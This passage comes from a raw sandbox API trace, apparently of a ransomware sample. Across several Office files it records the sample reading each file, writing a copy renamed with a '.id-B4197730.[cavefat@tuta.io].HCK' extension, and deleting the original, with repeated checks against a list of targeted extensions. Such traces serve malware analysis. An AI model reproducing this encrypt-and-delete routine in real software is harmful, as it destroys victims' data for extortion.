(lpString1=".bz2", lpString2=".MID") returned -1 [0230.416] lstrlenW (lpString=".7z") returned 3 [0230.416] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0230.416] lstrlenW (lpString=".dbf") returned 4 [0230.416] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0230.416] lstrlenW (lpString=".1cd") returned 4 [0230.416] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0230.416] lstrlenW (lpString=".jpg") returned 4 [0230.416] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.416] lstrcmpiW (lpString1=".MID", lpString2=".HCK") returned 1 [0230.416] lstrlenW (lpString="PARNT_05.MID") returned 12 [0230.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0230.417] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=6020) returned 1 [0230.417] CloseHandle (hObject=0x534) returned 1 [0230.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid")) returned 0x220 [0230.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0230.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0230.418] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0230.418] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0230.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0230.418] GetLastError () returned 0x0 [0230.418] ReadFile (in: hFile=0x534, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x1784, lpOverlapped=0x0) returned 1 [0230.420] WriteFile (in: hFile=0x4c0, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x1790, lpOverlapped=0x0) returned 1 [0230.421] ReadFile (in: hFile=0x534, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0230.421] WriteFile (in: hFile=0x4c0, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0230.421] SetEndOfFile (hFile=0x4c0) returned 1 [0230.421] CloseHandle (hObject=0x4c0) returned 1 [0230.421] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0230.421] SetEndOfFile (hFile=0x534) returned 1 [0230.423] CloseHandle (hObject=0x534) returned 1 [0230.423] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0230.424] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid")) returned 1 [0230.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0230.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0230.424] lstrlenW (lpString=".doc") returned 4 [0230.424] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.424] lstrlenW (lpString=".docx") returned 5 [0230.424] lstrcmpiW (lpString1=".docx", lpString2="5.MID") returned -1 [0230.424] lstrlenW (lpString=".pdf") returned 4 [0230.424] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.424] lstrlenW (lpString=".xls") returned 4 [0230.424] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.424] lstrlenW (lpString=".xlsx") returned 5 [0230.424] lstrcmpiW (lpString1=".xlsx", lpString2="5.MID") returned -1 [0230.424] lstrlenW (lpString=".ppt") returned 4 [0230.424] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0230.425] lstrlenW (lpString=".zip") returned 4 [0230.425] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.425] lstrlenW (lpString=".rar") returned 4 [0230.425] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.425] lstrlenW (lpString=".bz2") returned 4 [0230.425] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.425] lstrlenW (lpString=".7z") returned 3 [0230.425] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0230.425] lstrlenW (lpString=".dbf") returned 4 [0230.425] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0230.425] lstrlenW (lpString=".1cd") returned 4 [0230.425] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0230.425] lstrlenW (lpString=".jpg") returned 4 [0230.425] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0230.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0230.425] lstrlenW (lpString=".doc") returned 4 [0230.425] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.425] lstrlenW (lpString=".docx") returned 5 [0230.425] lstrcmpiW (lpString1=".docx", lpString2="5.MID") returned -1 [0230.425] lstrlenW (lpString=".pdf") returned 4 [0230.425] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.425] lstrlenW (lpString=".xls") returned 4 [0230.425] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.425] lstrlenW (lpString=".xlsx") returned 5 [0230.425] lstrcmpiW (lpString1=".xlsx", lpString2="5.MID") returned -1 [0230.425] lstrlenW (lpString=".ppt") returned 4 [0230.425] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0230.425] lstrlenW (lpString=".zip") returned 4 [0230.425] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.425] lstrlenW (lpString=".rar") returned 4 [0230.425] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.425] lstrlenW (lpString=".bz2") returned 4 [0230.425] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.425] lstrlenW (lpString=".7z") returned 3 [0230.425] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0230.425] lstrlenW (lpString=".dbf") returned 4 [0230.425] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0230.425] lstrlenW (lpString=".1cd") returned 4 [0230.426] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0230.426] lstrlenW (lpString=".jpg") returned 4 [0230.426] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.426] lstrcmpiW (lpString1=".MID", lpString2=".HCK") returned 1 [0230.426] lstrlenW (lpString="PARNT_06.MID") returned 12 [0230.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0230.433] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=7768) returned 1 [0230.433] CloseHandle (hObject=0x534) returned 1 [0230.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid")) returned 0x220 [0230.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0230.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0230.434] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0230.434] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0230.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0230.434] GetLastError () returned 0x0 [0230.434] ReadFile (in: hFile=0x534, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x1e58, lpOverlapped=0x0) returned 1 [0230.521] WriteFile (in: hFile=0x4c0, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x1e60, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x1e60, lpOverlapped=0x0) returned 1 [0230.522] ReadFile (in: hFile=0x534, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0230.522] WriteFile (in: hFile=0x4c0, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0230.522] SetEndOfFile (hFile=0x4c0) returned 1 [0230.563] CloseHandle (hObject=0x4c0) returned 1 [0230.563] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0230.563] SetEndOfFile (hFile=0x534) returned 1 [0230.565] CloseHandle (hObject=0x534) returned 1 [0230.565] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0231.048] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid")) returned 1 [0231.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0231.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0231.048] lstrlenW (lpString=".doc") returned 4 [0231.048] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0231.048] lstrlenW (lpString=".docx") returned 5 [0231.048] lstrcmpiW (lpString1=".docx", lpString2="6.MID") returned -1 [0231.048] lstrlenW (lpString=".pdf") returned 4 [0231.048] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0231.048] lstrlenW (lpString=".xls") returned 4 [0231.048] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0231.048] lstrlenW (lpString=".xlsx") returned 5 [0231.048] lstrcmpiW (lpString1=".xlsx", lpString2="6.MID") returned -1 [0231.048] lstrlenW (lpString=".ppt") returned 4 [0231.049] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0231.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0231.049] lstrlenW (lpString=".zip") returned 4 [0231.049] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0231.049] lstrlenW (lpString=".rar") returned 4 [0231.049] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0231.049] lstrlenW (lpString=".bz2") returned 4 [0231.049] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0231.049] lstrlenW (lpString=".7z") returned 3 [0231.049] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0231.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0231.049] lstrlenW (lpString=".dbf") returned 4 [0231.049] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0231.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0231.049] lstrlenW (lpString=".1cd") returned 4 [0231.049] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0231.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0231.049] lstrlenW (lpString=".jpg") returned 4 [0231.049] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0231.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0231.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0231.049] lstrlenW (lpString=".doc") returned 4 [0231.049] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0231.049] lstrlenW (lpString=".docx") returned 5 [0231.049] lstrcmpiW (lpString1=".docx", lpString2="6.MID") returned -1 [0231.049] lstrlenW (lpString=".pdf") returned 4 [0231.049] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0231.049] lstrlenW (lpString=".xls") returned 4 [0231.049] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0231.049] lstrlenW (lpString=".xlsx") returned 5 [0231.049] lstrcmpiW (lpString1=".xlsx", lpString2="6.MID") returned -1 [0231.049] lstrlenW (lpString=".ppt") returned 4 [0231.049] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0231.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0231.049] lstrlenW (lpString=".zip") returned 4 [0231.049] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0231.049] lstrlenW (lpString=".rar") returned 4 [0231.049] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0231.049] lstrlenW (lpString=".bz2") returned 4 [0231.049] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0231.049] lstrlenW (lpString=".7z") returned 3 [0231.049] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0231.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0231.049] lstrlenW (lpString=".dbf") returned 4 [0231.049] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0231.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0231.049] lstrlenW (lpString=".1cd") returned 4 [0231.049] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0231.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0231.049] lstrlenW (lpString=".jpg") returned 4 [0231.049] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0231.050] lstrcmpiW (lpString1=".eftx", lpString2=".HCK") returned -1 [0231.050] lstrlenW (lpString="Banded Edge.eftx") returned 16 [0231.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0231.052] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=47851) returned 1 [0231.052] CloseHandle (hObject=0x49c) returned 1 [0231.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx")) returned 0x220 [0231.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0231.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0231.052] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0231.052] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0231.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0231.055] GetLastError () returned 0x0 [0231.055] ReadFile (in: hFile=0x49c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0xbaeb, lpOverlapped=0x0) returned 1 [0231.059] WriteFile (in: hFile=0x4d4, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xbaf0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xbaf0, lpOverlapped=0x0) returned 1 [0231.060] ReadFile (in: hFile=0x49c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0231.060] WriteFile (in: hFile=0x4d4, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xf4, lpOverlapped=0x0) returned 1 [0231.060] SetEndOfFile (hFile=0x4d4) returned 1 [0231.060] CloseHandle (hObject=0x4d4) returned 1 [0231.060] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0231.060] SetEndOfFile (hFile=0x49c) returned 1 [0231.063] CloseHandle (hObject=0x49c) returned 1 [0231.063] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0231.063] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx")) returned 1 [0231.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0231.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0231.064] lstrlenW (lpString=".doc") returned 4 [0231.064] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0231.064] lstrlenW (lpString=".docx") returned 5 [0231.064] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0231.064] lstrlenW (lpString=".pdf") returned 4 [0231.064] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0231.064] lstrlenW (lpString=".xls") returned 4 [0231.064] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0231.064] lstrlenW (lpString=".xlsx") returned 5 [0231.064] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0231.064] lstrlenW (lpString=".ppt") returned 4 [0231.064] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0231.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0231.064] lstrlenW (lpString=".zip") returned 4 [0231.064] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0231.064] lstrlenW (lpString=".rar") returned 4 [0231.064] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0231.064] lstrlenW (lpString=".bz2") returned 4 [0231.064] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0231.064] lstrlenW (lpString=".7z") returned 3 [0231.064] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0231.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0231.064] lstrlenW (lpString=".dbf") returned 4 [0231.064] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0231.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0231.064] lstrlenW (lpString=".1cd") returned 4 [0231.064] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0231.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0231.064] lstrlenW (lpString=".jpg") returned 4 [0231.064] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0231.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0231.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0231.064] lstrlenW (lpString=".doc") returned 4 [0231.064] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0231.064] lstrlenW (lpString=".docx") returned 5 [0231.064] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0231.064] lstrlenW (lpString=".pdf") returned 4 [0231.064] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0231.064] lstrlenW (lpString=".xls") returned 4 [0231.064] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0231.064] lstrlenW (lpString=".xlsx") returned 5 [0231.065] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0231.065] lstrlenW (lpString=".ppt") returned 4 [0231.065] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0231.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0231.065] lstrlenW (lpString=".zip") returned 4 [0231.065] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0231.065] lstrlenW (lpString=".rar") returned 4 [0231.065] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0231.065] lstrlenW (lpString=".bz2") returned 4 [0231.065] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0231.065] lstrlenW (lpString=".7z") returned 3 [0231.065] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0231.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0231.065] lstrlenW (lpString=".dbf") returned 4 [0231.065] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0231.065] lstrlenW (lpString="C:\\Program Files\\Microsoft 